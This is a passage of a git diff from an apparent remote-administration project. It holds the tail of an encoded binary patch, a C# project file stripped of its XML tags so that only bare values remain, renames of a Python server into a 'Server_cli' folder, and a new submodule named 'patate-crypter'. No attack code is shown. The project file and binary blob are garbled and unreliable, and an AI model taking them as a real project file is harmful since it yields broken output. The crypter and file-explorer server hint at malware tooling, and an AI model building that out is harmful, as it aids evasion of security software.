zFF)cLRGq&W2Oefq8zngKPCc0+%nKD_T_`sRJrUd+K_2-t?&EVfp~RIX%Ex(+CJa*> zdvJJ5{VYa?JpsFD(!Mg11dZ<~y?UdYUZJ3pmNVPG>?;5&n~^u~o#VB5Uj$*+$bsY3 zc=SYU-xl)H1e{m*4Ck#$$9d-`d_^qsvUH+rmjwdh3yM)|$4AO4&mk^_d@uT#HALP@ zS_y0Agbx)V^)o?tJiSbhS26!{43+a3+Ole24TSno82a-1GC~;aGEdn@gob=NvBySI z_2a!%j(P^S4hYr5LX=%VmolrNcn}nqN@l|rkx6X|wLz})$Z1VaUM?~eDd>5&a6r;LH{hJR?I1lm7+dsMp@+nsz zaUc}JUf8t4H$qQF3uUbZNE&SkH-3#7V{WZ5ZN=UE!P{O^zKP-z~;F zK~yG1;T7i~4RE32id7s4==UA+f~~3IuA2t;Pc?kR48N?omoV%y>^qQQ^c14-X{B;jNEAR*1 zRKPRwZ+al1AmF&s{icD^&f^M=GrRaIt+DPSorDY<^BvW<0H`Yg0NDh;h33uyV3q6t wVj$3e8jR + + + + Debug + AnyCPU + {ECBAF9B2-2988-480B-973E-50A6BDC7016E} + WinExe + Server + Server + v4.8 + 512 + true + true + + + AnyCPU + true + full + false + ..\bin\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + ..\bin\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + Form + + + BuildMenu.cs + + + Form + + + FileExplorer.cs + + + Form + + + Menu.cs + + + + + BuildMenu.cs + + + FileExplorer.cs + + + Menu.cs + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Server/FileExplorer/images/bg.gif b/Server_cli/FileExplorer/images/bg.gif similarity index 100% rename from Server/FileExplorer/images/bg.gif rename to Server_cli/FileExplorer/images/bg.gif diff --git a/Server/FileExplorer/images/file.png b/Server_cli/FileExplorer/images/file.png similarity index 100% rename from Server/FileExplorer/images/file.png rename to Server_cli/FileExplorer/images/file.png diff --git a/Server/FileExplorer/images/folder.png b/Server_cli/FileExplorer/images/folder.png similarity index 100% rename from Server/FileExplorer/images/folder.png rename to Server_cli/FileExplorer/images/folder.png diff --git a/Server/FileExplorer/images/spike.jpg b/Server_cli/FileExplorer/images/spike.jpg similarity index 100% rename from Server/FileExplorer/images/spike.jpg rename to Server_cli/FileExplorer/images/spike.jpg diff --git a/Server/FileExplorer/index.html b/Server_cli/FileExplorer/index.html similarity index 100% rename from Server/FileExplorer/index.html rename to Server_cli/FileExplorer/index.html diff --git a/Server/FileExplorer/style.css b/Server_cli/FileExplorer/style.css similarity index 100% rename from Server/FileExplorer/style.css rename to Server_cli/FileExplorer/style.css diff --git a/Server_cli/README.md b/Server_cli/README.md new file mode 100644 index 0000000..50b348b --- /dev/null +++ b/Server_cli/README.md @@ -0,0 +1 @@ +# Text version of the Server, will not be maintained, keeping it because history \ No newline at end of file diff --git a/Server/Server.py b/Server_cli/Server.py similarity index 100% rename from Server/Server.py rename to Server_cli/Server.py diff --git a/Server/requirements.txt b/Server_cli/requirements.txt similarity index 100% rename from Server/requirements.txt rename to Server_cli/requirements.txt diff --git a/patate-crypter b/patate-crypter new file mode 160000 index 0000000..8fd24fc --- /dev/null +++ b/patate-crypter @@ -0,0 +1 @@ +Subproject commit 8fd24fc073e8d3c3fac3918ff8c70a2bdd77e846